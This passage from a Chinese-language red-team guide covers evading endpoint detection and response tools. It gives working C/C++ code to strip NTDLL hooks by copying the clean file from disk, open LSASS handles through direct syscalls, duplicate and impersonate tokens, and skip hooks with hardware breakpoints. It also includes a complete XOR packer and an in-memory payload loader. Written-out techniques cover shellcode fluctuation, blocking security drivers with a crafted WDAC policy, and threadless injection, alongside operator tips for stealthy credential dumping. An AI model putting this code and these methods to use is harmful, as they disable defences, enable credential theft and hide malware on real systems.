2. 检测内联钩子

示例:比较内存中的 NTDLL 与磁盘中的 NTDLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bool IsFunctionHooked(const char* functionName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* inMemory = (BYTE*)GetProcAddress(hNtdll, functionName);

HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return false;

HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
BYTE* mappedDll = (BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)mappedDll;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(mappedDll + dos->e_lfanew);

DWORD rva = (DWORD)((ULONG_PTR)inMemory - (ULONG_PTR)hNtdll);
BYTE* onDisk = mappedDll + rva;

bool hooked = memcmp(inMemory, onDisk, 16) != 0;

UnmapViewOfFile(mappedDll);
CloseHandle(hMapping);
CloseHandle(hFile);
return hooked;
}

该技术通过比较内存中的函数与磁盘上的版本来检测篡改。


3. 检测 IAT 钩子

你可以解析当前进程的 IAT,验证是否有指针指向意外的模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bool ScanIATHooks(HMODULE hModule) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)hModule;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dos->e_lfanew);
IMAGE_IMPORT_DESCRIPTOR* imports = (IMAGE_IMPORT_DESCRIPTOR*)((BYTE*)hModule +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

for (; imports->Name; imports++) {
char* dllName = (char*)((BYTE*)hModule + imports->Name);
HMODULE imported = GetModuleHandleA(dllName);

IMAGE_THUNK_DATA* origFirstThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModule + imports->OriginalFirstThunk);
IMAGE_THUNK_DATA* firstThunk = (IMAGE_THUNK_DATA*)((BYTE*)hModule + imports->FirstThunk);

while (origFirstThunk->u1.AddressOfData) {
FARPROC* funcPtr = (FARPROC*)&firstThunk->u1.Function;
if ((ULONG_PTR)(*funcPtr) < (ULONG_PTR)imported ||
(ULONG_PTR)(*funcPtr) > ((ULONG_PTR)imported + 0x100000)) {
printf("[!] IAT Hook detected: %s\n", dllName);
return true;
}

origFirstThunk++;
firstThunk++;
}
}

return false;
}

4. 绕过钩子

选项 1 – 手动系统调用(不使用 NTDLL 函数)

  • 手动重新实现敏感的系统调用,如 NtWriteVirtualMemory(参见 8.6)。

  • 绕过所有用户模式钩子。

选项 2 – 从磁盘恢复 NTDLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void UnhookNtdll() {
char sysPath[MAX_PATH];
GetSystemDirectoryA(sysPath, MAX_PATH);
strcat_s(sysPath, "\\ntdll.dll");

HANDLE hFile = CreateFileA(sysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
BYTE* cleanNtdll = (BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);

HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)cleanNtdll;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(cleanNtdll + dos->e_lfanew);
IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);

for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress),
sec[i].Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress),
cleanNtdll + sec[i].PointerToRawData,
sec[i].Misc.VirtualSize);
VirtualProtect((LPVOID)((BYTE*)hNtdll + sec[i].VirtualAddress),
sec[i].Misc.VirtualSize, oldProtect, &oldProtect);
break;
}
}

UnmapViewOfFile(cleanNtdll);
CloseHandle(hMapping);
CloseHandle(hFile);
}

5. 高级绕过

  • 将 NTDLL 映射到新的内存区域(例如通过 NtCreateSection),并从中执行。

  • 手动 PE 加载器:不通过 Windows 加载器加载 ntdll.dll,手动解析地址。

  • 间接系统调用:通过 RWX 内存区域跳转或使用栈枢轴。

  • 使用 TEB 或直接指针链 来解析系统调用存根。


真实世界使用

  1. Mimikatz 动态卸载 ntdll.dll,避免 EDR 监控并转储 LSASS。

  2. Cobalt Strike Beacon 使用直接系统调用或存根加载器绕过 EDR 日志。

  3. EDR 绕过框架ScyllaHideSysWhispersSleepyKittens 在此原理上构建。

8.8 - 句柄欺骗与访问令牌操控

概述

现代 EDR 使用 句柄检查令牌追踪 来监视恶意行为。如果你的恶意软件打开了指向 lsass.exe 的句柄,例如,EDR 可能会立即标记该进程——即使你使用了隐蔽的系统调用。

为了绕过这些检测,攻击者使用 句柄欺骗令牌复制特权操控 技术来隐藏痕迹或获得提升的访问权限。


1. 什么是句柄和令牌?

  • 句柄 是指向内核对象(如进程、文件或注册表键)的引用,用户模式进程通过句柄与内核对象进行交互。

  • 访问令牌 定义了进程/线程运行时的安全上下文(SID,特权等)。

EDR 通常会:

  • 钩住 NtOpenProcessOpenProcess 以监视对敏感进程(例如 LSASS)的访问。

  • 跟踪复制的令牌,以检测特权提升或模拟。


2. 句柄欺骗

目标:通过伪造句柄的访问掩码或来源,使指向 lsass.exe 的句柄看起来无害。

实际问题:

PROCESS_QUERY_INFORMATION 通常是允许的,但 PROCESS_VM_READPROCESS_ALL_ACCESS 可能会触发 EDR 警报。

示例:通过系统调用伪造句柄访问标志

1
2
3
4
5
6
7
8
9
10
HANDLE OpenTargetProcess(DWORD pid) {
OBJECT_ATTRIBUTES objAttr = { 0 };
CLIENT_ID clientId = { 0 };
clientId.UniqueProcess = (PVOID)(ULONG_PTR)pid;
clientId.UniqueThread = 0;

HANDLE hProcess = NULL;
NTSTATUS status = NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION, &objAttr, &clientId);
return hProcess;
}

接下来,将句柄复制到不同的进程,或通过 间接 RWX 区域注入 以避免检测。


3. 令牌窃取与模拟

攻击者可以使用令牌操控技术提升特权或横向移动。

技术:

a. DuplicateTokenEx

从模拟令牌创建一个新的主令牌。

1
2
3
4
5
6
7
8
HANDLE GetSystemToken() {
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) return NULL;

HANDLE hDupToken;
DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken);
return hDupToken;
}

b. ImpersonateLoggedOnUser

在盗取的令牌上下文中运行代码。

1
ImpersonateLoggedOnUser(hDupToken);

c. SetThreadToken

将令牌应用到线程,以实现临时提升。

1
SetThreadToken(NULL, hDupToken);

4. 从 LSASS 中窃取 SYSTEM 令牌

你可以枚举句柄并找到属于 SYSTEM 的令牌,然后模拟它。

PoC 代码片段(使用 NtQuerySystemInformation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE;

bool FindAndStealSystemToken() {
// 使用 NtQuerySystemInformation(SystemHandleInformation) 枚举句柄
// 找到属于 SYSTEM 的令牌(检查 SID)
// 使用 DuplicateHandle() 复制令牌
// 使用 ImpersonateLoggedOnUser() 或 SetThreadToken() 模拟
}

你必须验证令牌是否属于 SYSTEM 级进程,否则模拟会失败。


5. 绕过 EDR 检测

技术 EDR 反应 绕过方法
打开 lsass.exe 进程 被标记 使用直接系统调用,伪造句柄
使用 AdjustTokenPrivileges 如果启用 SeDebugPrivilege 会被标记 在内存中补丁 API 或设置特权
创建远程线程 通过 ETW 监视 使用 RWX 内存,APC 或线程劫持

6. 高级概念

a. 通过线程模拟进行令牌交换

允许你短暂地提升上下文,而不影响整个进程。

b. 通过漏洞进行令牌提升

可以通过漏洞(例如 PrintNightmareCVE-2021-1732)直接获取 SYSTEM 令牌。

c. 令牌隐匿

在内存中更改 TokenUser 字段(未公开)——高度规避,但如果使用不当可能导致崩溃。


7. 实际使用

  • Cobalt Strike 使用 MakeTokenStealToken 来模拟用户。

  • Mimikatz 通过 privilege::debugtoken::elevate 提供完整的令牌操控功能。

  • SharpSploit 在 .NET 中通过 LogonUser + DuplicateToken 实现模拟和主令牌交换。


8. 红队操作员的建议

  • 使用 直接系统调用 或从 shellcode 中调用 NtOpenProcess 以减少日志记录。

  • 伪造令牌或线程上下文,以运行像 net usePsExecWMI 之类的命令。

  • 避免使用 **CreateRemoteThread**;偏好使用 APC 或 NtQueueApcThread 以提高隐蔽性。

  • 考虑 间接令牌使用:注入到一个已经拥有所需权限的进程中。

8.9 - 使用硬件断点规避用户模式钩子

概述

大多数 EDR 和 AV 依赖于 用户模式 API 钩子 来拦截常见的 Windows API 函数。这些钩子通常包括:

  • 内联钩子:通过修改像 NtOpenProcessReadProcessMemoryNtProtectVirtualMemory 等函数的前几个字节,将执行重定向到监控代码。

  • IAT/EAT 钩子:通过修改导入表中函数的地址来重定向 API 调用。

问题:如果恶意软件或红队者直接调用这些函数,执行会经过钩子,触发检测。

解决方案硬件断点 可以作为一种隐蔽且有效的方法,绕过或“跳过”被钩住的代码段——无需修改内存保护或通过标准的去钩方式引起怀疑。


1. 什么是硬件断点?

硬件断点使用 CPU 的 调试寄存器(DR0–DR7) 来监控对特定内存地址的访问。它们具有以下特点:

  • 通过 CONTEXT.DebugRegisters 在 TEB 中设置。

  • 对内存扫描器不可见(与修补或内存去钩不同)。

  • 可以在 读取写入执行 访问时触发。


2. 核心概念 - 通过 HWBP 重定向执行

如果 NtReadVirtualMemory 在用户模式下被钩住,可以不直接调用它:

  1. 在钩子 之后 设置硬件断点。

  2. 触发执行(例如,使用 int3 或自定义代码)。

  3. 当断点被触发时,使用调试器的异常处理程序将 EIP/RIP 重定向到钩子后的地址。

  4. 这样跳过整个被钩住的区域 无需去钩 或修补。


3. 实际用例

  • 绕过 EDR 钩住 NtWriteVirtualMemoryNtProtectVirtualMemory,在 DLL 注入过程中。

  • 在调用 NtOpenProcessNtQueryInformationProcess 时,避免触发内联钩子。


4. 示例:通过硬件断点绕过钩子

步骤 1:手动解析系统调用存根

假设 NtOpenProcess 被钩住:

1
BYTE* pNtOpenProcess = (BYTE*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtOpenProcess");

我们分析函数,找到 钩子之后的地址,例如 +0x15 字节。

步骤 2:安装硬件断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void SetHardwareBreakpoint(HANDLE hThread, void* address) {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

SuspendThread(hThread);
GetThreadContext(hThread, &ctx);

ctx.Dr0 = (DWORD_PTR)address;
ctx.Dr7 |= 1; // 启用 DR0 本地断点
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

SetThreadContext(hThread, &ctx);
ResumeThread(hThread);
}

步骤 3:异常时重定向执行

在你的向量异常处理程序中:

1
2
3
4
5
6
7
LONG WINAPI VectoredHandler(EXCEPTION_POINTERS* ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
ExceptionInfo->ContextRecord->Rip = (DWORD_PTR)hookBypassAddress; // 跳过钩子
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}

步骤 4:设置流程

1
2
3
AddVectoredExceptionHandler(1, VectoredHandler);
SetHardwareBreakpoint(GetCurrentThread(), hookBypassAddress);
NtOpenProcess(...); // 将跳过钩子

这将绕过用户模式的 EDR 钩子 而不触及内存,绕过大多数检测机制。


5. 另一种用法:通过 Shellcode 触发系统调用

你也可以在恶意软件或 shellcode 中使用硬件断点,将执行重定向到没有存根的系统调用——这在以下情况中特别有用:

  • NTDLL 已被解除链接(例如,使用手动映射)。

  • 系统调用被随机化(间接系统调用或 HellsGate 情况)。

  • 你希望有条件地执行系统调用(例如,当特定内存模式匹配时)。


6. 检测面和风险

风险 描述
使用调试寄存器 如果 EDR 检查线程上下文,可能会被检测到。
向量异常处理程序 添加多个处理程序可能会被追踪。
访问冲突崩溃 设置不正确可能导致 EXCEPTION_SINGLE_STEP 问题。
需要线程挂起 在某些环境下,挂起线程可能会引发可疑行为。

7. 使用此技术的实际工具和恶意软件

  • AtomBombing:通过修改原子表注入代码,并通过异常重定向执行。

  • Turla Group:观察到使用 HWBP 进行隐蔽的内存访问。

  • 高级红队框架:可以通过 HWBP 打补丁系统调用,并绕过 ETW 钩子。


8. 红队员建议

  • 尽量避免 API 修补或内存去钩。

  • 选择性使用 HWBP,并在执行后清理 DR 寄存器。

  • 与直接系统调用或未钩住的 NTDLL(手动映射或系统调用存根)结合使用。

  • 考虑在 自定义加载器反射 DLL内存代理 中实现此技术。

8.10 - 构建 PE 打包器

目标

创建一个简单的 Windows 可执行文件打包器,能够加密一个有效载荷 PE 文件并将其嵌入到一个加载器存根中,加载器在内存中解密并执行该有效载荷。这对于规避 AV/EDR 的静态检测非常有用。


涉及的概念

  • PE 结构基础(头部、段)

  • 有效载荷加密(基于 XOR)

  • 解密并执行的加载器存根

  • 反射加载

  • VirtualAllocCreateThreadWaitForSingleObject


高层次工作流程

  1. 加密阶段(打包器)

    • 获取一个二进制有效载荷(例如 calc.exe

    • 使用 XOR 加密其原始字节

    • 将加密后的二进制嵌入到一个加载器 C++ 文件作为字节数组

  2. 解密和执行阶段(加载器)

    • 加载器在运行时解密该数组

    • 分配内存

    • 使用 PE 加载技术(例如反射加载)或通过 CreateProcess 来执行有效载荷


步骤 1: 有效载荷加密器(打包器工具)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <fstream>
#include <iostream>
#include <vector>

const unsigned char XOR_KEY = 0xAA;

int main(int argc, char* argv[]) {
if (argc != 3) {
std::cerr << "Usage: packer.exe <input_payload.exe> <output_array.txt>\n";
return 1;
}

std::ifstream infile(argv[1], std::ios::binary);
std::ofstream outfile(argv[2]);

if (!infile.is_open() || !outfile.is_open()) {
std::cerr << "File error\n";
return 1;
}

std::vector<unsigned char> buffer((std::istreambuf_iterator<char>(infile)),
std::istreambuf_iterator<char>());

outfile << "unsigned char payload[] = {\n";
for (size_t i = 0; i < buffer.size(); ++i) {
unsigned char encrypted = buffer[i] ^ XOR_KEY;
outfile << "0x" << std::hex << (int)encrypted;
if (i < buffer.size() - 1) outfile << ", ";
if ((i + 1) % 16 == 0) outfile << "\n";
}
outfile << "\n};\nunsigned int payload_len = " << std::dec << buffer.size() << ";\n";

std::cout << "Payload encrypted and saved.\n";
return 0;
}

编译命令:

1
g++ -o packer packer.cpp

步骤 2: 加载器存根(内存中执行加密的有效载荷)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <windows.h>
#include <iostream>

// 包含步骤 1 的输出
#include "payload_array.txt" // 包含 `payload[]` 和 `payload_len`

const unsigned char XOR_KEY = 0xAA;

int main() {
// 解密有效载荷
for (unsigned int i = 0; i < payload_len; ++i) {
payload[i] ^= XOR_KEY;
}

// 为有效载荷分配内存
void* exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) {
std::cerr << "Failed to allocate memory.\n";
return 1;
}

// 复制解密后的有效载荷
memcpy(exec, payload, payload_len);

// 执行
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);
if (!thread) {
std::cerr << "Failed to create thread.\n";
return 1;
}

WaitForSingleObject(thread, INFINITE);
return 0;
}

编译命令:

1
g++ -o loader.exe loader.cpp -static

分析

这个基本的打包器能够规避基于静态签名的检测。可以通过以下方式进行改进:

  • 多态有效载荷数组

  • 多重加密层(例如 XOR + AES)

  • 执行后自我删除

  • 使用反射 DLL 注入而非直接执行


实际用例

APT 组和恶意软件开发者使用自定义打包器来隐藏有效载荷。商业恶意软件通常使用 UPX 或专有的打包器来规避 AV 检测。上面的示例重现了这种行为的简化版本,供学习或 CTF/红队使用。

8.11 - Shellcode 波动:通过内存变异进行高级规避

概述

Shellcode 波动是一种内存规避技术,旨在动态改变注入的 shellcode 的可访问性和可见性,从而避免被 EDR 和杀毒软件检测到。该技术涉及 内存保护更改(如 RW、RX、NOACCESS)加密/解密周期,并将其绑定到特定事件(如 Beacon 植入物中的睡眠行为)。


目标

  • 理解如何实现 自我波动的 shellcode 加载器

  • 学习如何通过 挂钩 Sleep API 和使用 VEH(向量化异常处理程序) 实现隐秘执行。

  • 实现 运行时内存权限更改shellcode 加密,作为防御性规避策略。


概念流程

技术 A:波动至 PAGE_READWRITE

  1. Shellcode 准备

    • 从磁盘读取加密的 shellcode。

    • 通过 VirtualAlloc 分配内存,使用 memcpy 复制 shellcode,并通过 CreateThread 创建新线程。

  2. 挂钩 Sleep

    • 内联挂钩 kernel32!Sleep,将其重定向到自定义函数 (MySleep)。
  3. 波动阶段

    • 当 Beacon 调用 Sleep 时,MySleep 被调用。

    • MySleep 中,包含 shellcode 的内存区域:

      • 被标记为 PAGE_READWRITE

      • 内容被 XOR 加密

    • 移除对 Sleep 的挂钩(避免 IOC)。

    • 调用原始 Sleep(Beacon 休眠)。

    • 休眠间隔结束后:

      • 内存被解密。

      • 权限被切换回 PAGE_EXECUTE_READ

      • 再次挂钩 Sleep

技术 B:波动至 PAGE_NOACCESS

  1. 向量化异常处理程序(VEH)

    • 除了上述步骤外,还注册一个 VEH 来处理 访问冲突异常
  2. 休眠后的执行

    • 在 Beacon 休眠后,内存页面被标记为 PAGE_NOACCESS

    • 再次移除对 Sleep 的挂钩。

    • 当 Beacon 尝试恢复时,发生 访问冲突

  3. VEH 处理程序

    • VEH 捕捉到该异常。

    • 解密 shellcode,将保护切换回 PAGE_EXECUTE_READ,并恢复执行。


PAGE_NOACCESS 波动的代码伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 注册 VEH 处理程序
AddVectoredExceptionHandler(1, VehCallback);

// 在 MySleep 回调中
VirtualProtect(shellcode, sc_size, PAGE_NOACCESS, &oldProtect);
Sleep(duration);

// VEH 处理程序
LONG CALLBACK VehCallback(EXCEPTION_POINTERS* ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) {
// 解密并恢复 RX
VirtualProtect(shellcode, sc_size, PAGE_EXECUTE_READ, &oldProtect);
decrypt_shellcode(shellcode, key);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}

优点

  • 内存扫描抗性:标记为 PAGE_NOACCESS 的页面无法被扫描或读取。

  • 休眠期间无 RWX 或 RX 页面:这些区域在 shellcode 执行期间隐藏,休眠时不可访问。

  • 防止 Dump:在休眠或空闲期间防止 shellcode 被 Dump。

  • 防止挂钩:通过动态解除挂钩 Sleep,使用无跳板的逻辑。


实际应用

  • Gargoyle 由 Josh Lospinoso 引入,通过 VirtualProtect 实现基于 ROP 的内存波动。

  • ORCA666 的 0x41 演示了 VEH 辅助的访问控制执行和解密。


实战应用:红队和威胁模拟

该技术在现代进攻框架中被广泛应用,如:

  • 自定义 Beacon 加载器

  • Sliver 植入物与自定义 stager,

  • 独立的 PE 加载器 用于恶意软件的阶段性和规避。

此技术非常适用于 后期利用场景,在这些场景中,持久性和隐蔽性至关重要。


结论

Shellcode 波动,尤其是结合 VEH 和选择性 API 挂钩,大大提高了被检测的难度。虽然并不新颖,但这种策略在现实世界的红队操作中仍然有效,特别是针对依赖于基于签名的内存扫描或简单行为模型的 EDR。

更多信息:https://github.com/mgeeky/ShellcodeFluctuation

8.12 - HookChain

概述:
HookChain 是一个开源框架,旨在绕过常见的用户模式 API 挂钩,这些挂钩通常由 EDR(端点检测与响应)系统实现。它在红队演练、恶意软件开发和 EDR 规避研究中非常有用。

资源:


目标

HookChain 的目标是无需注入新的 DLL 或手动重建干净的系统调用存根,就可以解除挂钩或绕过所有可能被 EDR 监视或篡改的用户模式 API 函数(例如,OpenProcessReadProcessMemoryVirtualAlloc 等)。


HookChain 的工作原理

HookChain 执行以下核心步骤:

  1. 从磁盘或内存加载干净的 DLL:

    • 它从磁盘或嵌入内存中加载目标 DLL(如 ntdll.dllkernel32.dll 等)的新鲜、未修改的副本。

    • 这样可以避免依赖于已经加载的、可能被挂钩的版本。

  2. 解析干净的函数指针:

    • 它解析这些干净 DLL 的导出表,以解析关键函数(如 NtReadVirtualMemoryNtOpenProcess 等)的地址。
  3. 覆盖被挂钩的函数:

    • 然后,HookChain 通过 修补导入地址表(IAT)动态解析函数,将执行重定向到未挂钩的干净版本 API。
  4. 通过避免使用系统调用存根来绕过检测:

    • 它不会直接调用系统调用或来自挂钩 DLL 的 shellcode,而是通过自己加载的干净 DLL 路由函数调用。

优点

  • 无需重建系统调用存根。

  • 完全绕过 EDR 的用户模式挂钩。

  • 跨 Windows 版本兼容且便携。

  • 支持 内存中解除挂钩,适用于无文件的 payload。

  • 可动态绕过如 Windows Defender、CrowdStrike、Carbon Black 等常见 EDR 保护。


实际使用案例

在红队或进攻性场景中,你可能想要:

  1. 在 Beacon 或植入物中加载 HookChain

  2. 使用 HookChain 解析 NtOpenProcessNtReadVirtualMemory 来执行凭证转储。

  3. 避免触发依赖于挂钩用户模式 API 的 EDR 警报。


注意事项

  • HookChain 支持多种模式,包括 IAT 修补运行时动态解析手动系统调用解析

  • 可以将干净的 DLL 作为加密的二进制块嵌入,以避免触碰磁盘。

  • 该工具还可以与后期利用框架集成,或作为加载器/投放工具的一部分进行编译。


结论

HookChain 是一个先进且模块化的框架,用于击败现代 EDR 部署的用户模式 API 挂钩。通过利用干净 DLL 加载和动态函数解析,它允许攻击者在不触发行为检测机制的情况下,隐秘地执行内存读取、进程注入或 shellcode 执行等敏感操作。

8.13 – 武器化 Windows Defender 应用程序控制 (WDAC)

概述:
Windows Defender 应用程序控制(WDAC)是微软的一项功能,用于强制执行代码完整性,在内核级别阻止未经授权的代码执行。然而,Logan Goins 的 Krueger 项目展示了当 WDAC 配置错误或被利用时,它可以被 武器化 用来 绕过 EDR,通过在 受信任的上下文中 运行未受监控的代码。

仓库:
🔗 https://github.com/logangoins/Krueger
📖 文章: Weaponizing WDAC - Killing the Dreams of EDR


目标

Krueger 的主要思想是 滥用 WDAC 的策略信任边界,通过 运行未签名或恶意代码绕过 EDR 警报,利用已签名但存在漏洞的二进制文件(LoLBins)和绕过逻辑缺陷。


WDAC 的工作原理

  • WDAC 强制执行关于 允许运行哪些代码 的规则,基于发布者证书、文件路径、哈希规则等。

  • 它使用 代码完整性(CI)策略,通常由管理员配置,用于限制未经批准的软件执行。

  • 策略在 内核级别 强制执行,这使得用户模式的 EDR 解决方案很难覆盖或覆盖它。


概念概述:

该技术将 WDAC 的 “默认拒绝” 策略执行 转化为一种攻击武器。通过编写 恶意定制的 WDAC 策略,攻击者可以 阻止 EDR 加载,同时 保持自己的代码执行权限。该攻击的核心在于 利用 WDAC 的早期执行(该策略在引导过程中 早于 EDR 驱动程序生效),以控制 哪些代码被允许 在系统中执行。


攻击目标

  • 阻止安全工具(如 EDR/AV)加载。

  • 允许攻击者的工具执行。

  • 在内核和用户级别实现隐蔽性和持久性。


攻击的主要阶段

阶段 1: 放置自定义 WDAC 策略

攻击者将编写并放置一个自定义策略文件到:

C:\Windows\System32\CodeIntegrity\SIPolicy.p7b

此自定义策略:

  • 通过哈希、发布者或路径阻止 EDR 驱动程序、传感器和代理二进制文件的执行。

  • 允许攻击者的二进制文件或签名工具(例如 LoLBins)执行。

  • 强制执行看起来在组织策略下 有效 的代码完整性规则。

阶段 2: 触发策略执行(系统重启)

即使新策略在运行时已被放置,WDAC 策略只在引导时生效。这意味着要执行新的限制:

  • 攻击者重启机器。

  • 在启动时,WDAC 在任何用户或内核模式 EDR 组件加载之前执行新的策略

  • 结果是,EDR 驱动程序 无法初始化,有效地禁用检测能力。

阶段 3: 在新策略下保持访问

一旦系统重启:

  • 攻击者的有效负载被 明确允许 在 WDAC 策略中运行。

  • EDR 和 AV 被阻止,失去了检测和遥测功能。

  • 攻击者可以进一步部署植入物、持久性和横向移动 没有阻力


关键技术细节

  • WDAC 在内核引导阶段应用,这使得没有另一次重启就很难覆盖它。

  • 攻击者可以 伪造合法签名 或使用受信工具(例如签名的 LoLBins 或受信的安装程序)。

  • 即使在 强制模式 下,WDAC 策略也可以被签名并执行,伪装成有效的企业配置。

  • 使用适当的 SID 和 ACL,攻击者可以 无声地持久化该策略,而不会引起即时警报。


Krueger 的核心特性

  • 绕过内核级 EDR 可见性 通过策略信任边界。

  • 即使设备上强制执行了 WDAC 策略,只要这些策略配置错误,仍然有效。

  • 使用 漏洞签名二进制文件(LoLBins) 执行有效负载。

  • 可以 侧载 DLL 或通过已知技术劫持 DLL 加载顺序。


仓库中使用的其他技术

  • 驱动程序签名滥用:利用微软签名的驱动程序隐藏或加载恶意组件。

  • 符号链接重定向:使用符号链接将 DLL 加载重定向到攻击者控制的位置。

  • 环境变量注入:使用 %PATH%%SYSTEMROOT% 或应用程序特定的配置文件重定向搜索路径。

  • WDAC 策略降级攻击:如果配置错误,允许回退到不安全的策略。


防御规避影响

技术 EDR 检测
通过 WDAC 侧载 DLL ❌ 漏检
签名二进制文件执行(LoLBins) ❌ 漏检
符号链接重定向 ❌ 漏检
WDAC 允许的 shellcode 执行 ❌ 漏检

Krueger 允许任意代码执行,几乎在大多数用户模式 EDR 平台上没有可见性。


结论

Krueger 揭示了企业 EDR 防御中的一个 关键盲点:WDAC 强制执行的受信代码路径可以被滥用并 反过来用于攻击系统。通过利用 WDAC 的信任模型定制有效负载,红队员和对手可以绕过监控和检测,即使在严格的执行控制环境下。

对于现代的威胁猎人和防御者来说,至关重要的是:

  • 监控 行为,而不是仅仅依赖 二进制信任

  • 实施 强代码签名验证与运行时完整性检查

  • 审计 DLL 搜索顺序 并防止已知 LoLBins 滥用。

8.14 - ThreadlessInject: 无线程的 Shellcode 执行

Threadless Injection:一种隐秘的 API 钩子技术

概述

Threadless Injection 是一种先进的代码注入方法,允许在 不创建新线程 的情况下执行有效载荷。与传统的注入技术不同,它通过插入一个最小化的“重定向”跳转 (trampoline) 来修改现有的导出函数,将其指向一个隐藏的有效载荷,该有效载荷通常存储在一个被称为 内存孔(memory hole) 的临近内存区域。

这项技术的特别之处在于,执行完有效载荷后,目标函数可以完全恢复,并正常继续运行——就好像什么都没发生过一样。


内存孔发现

现代 Windows 进程加载了许多 DLL,这些 DLL 之间有时会留下小的未分配内存间隙。这些空间,如果位于目标函数地址的 ±2GB 范围内,可以利用 CALL 指令的相对寻址限制来存储 Shellcode。

例如,FindMemoryHole 这样的自定义程序可以用于扫描和分配这个允许的范围内的内存,通过对齐地址和测试分配,直到成功为止。这样可以避免那些可能触发启发式检测或访问违规的远程内存区域。


最小化 Trampoline Hook

与直接覆盖整个函数体不同,Threadless Injection 会在目标函数的开始部分写入一个紧凑的 CALL 指令——这是一个 5 字节的重定向,指向存储在内存孔中的自定义有效载荷。这种 trampoline 保留了周围函数的逻辑,并减少了检测的向量。

一旦控制转移,重定向代码(称为 固定 Shellcode)会恢复被覆盖的字节,并确保在有效载荷执行后目标函数的正常行为。


Shellcode 结构

有效载荷被组织为两个独立的部分:

  1. 预加载器(固定 Shellcode)

    • 保存寄存器上下文和参数。

    • 恢复目标函数的原始字节。

    • 执行实际的 Shellcode。

    • 恢复保存的状态。

    • 将控制权交还给合法函数。

  2. 主有效载荷

    • 自定义的 Shellcode(例如反向 shell、Meterpreter)。

    • 可以通过 msfvenom 等工具混淆或生成。

在注入之前,预加载代码内部的占位符会被函数的原始字节修补,以便在执行完有效载荷后恢复。


运行时修补示例

一个像 PatchHookShellcode() 这样的函数会读取被钩住函数的前 8 个字节,并将占位符替换为固定 Shellcode 内的原始字节。这确保了在有效载荷执行后,函数能够无缝恢复。

1
2
3
4
5
// 用实际的函数前导字节覆盖 Shellcode 中的占位符
VOID PatchHookShellcode(IN PVOID pFunc) {
unsigned long long originalBytes = *(unsigned long long*)pFunc;
memcpy(&g_HookShellcode[22], &originalBytes, sizeof(originalBytes));
}

注入工作流总结

  1. 确定目标函数(例如通过 GetProcAddress)。

  2. 定位该函数附近的内存孔。

  3. 将固定的 Shellcode 和主有效载荷写入内存孔。

  4. 在函数的开头插入 trampoline(CALL <relative_offset>)。

  5. 当函数被调用时,有效载荷运行,并在清理后将控制权交还。


规避潜力

该技术避免了生成新线程或创建远程内存区域,因此在行为检测引擎或 EDR 下更难引起怀疑。由于被钩住的函数按预期执行,且原始字节在飞行过程中得以恢复,内存扫描器和完整性检查更难标记此行为。


检测挑战

行为 典型检测?
没有调用 CreateRemoteThread ❌ 未标记
正常的 Windows API 使用 ✅ 允许
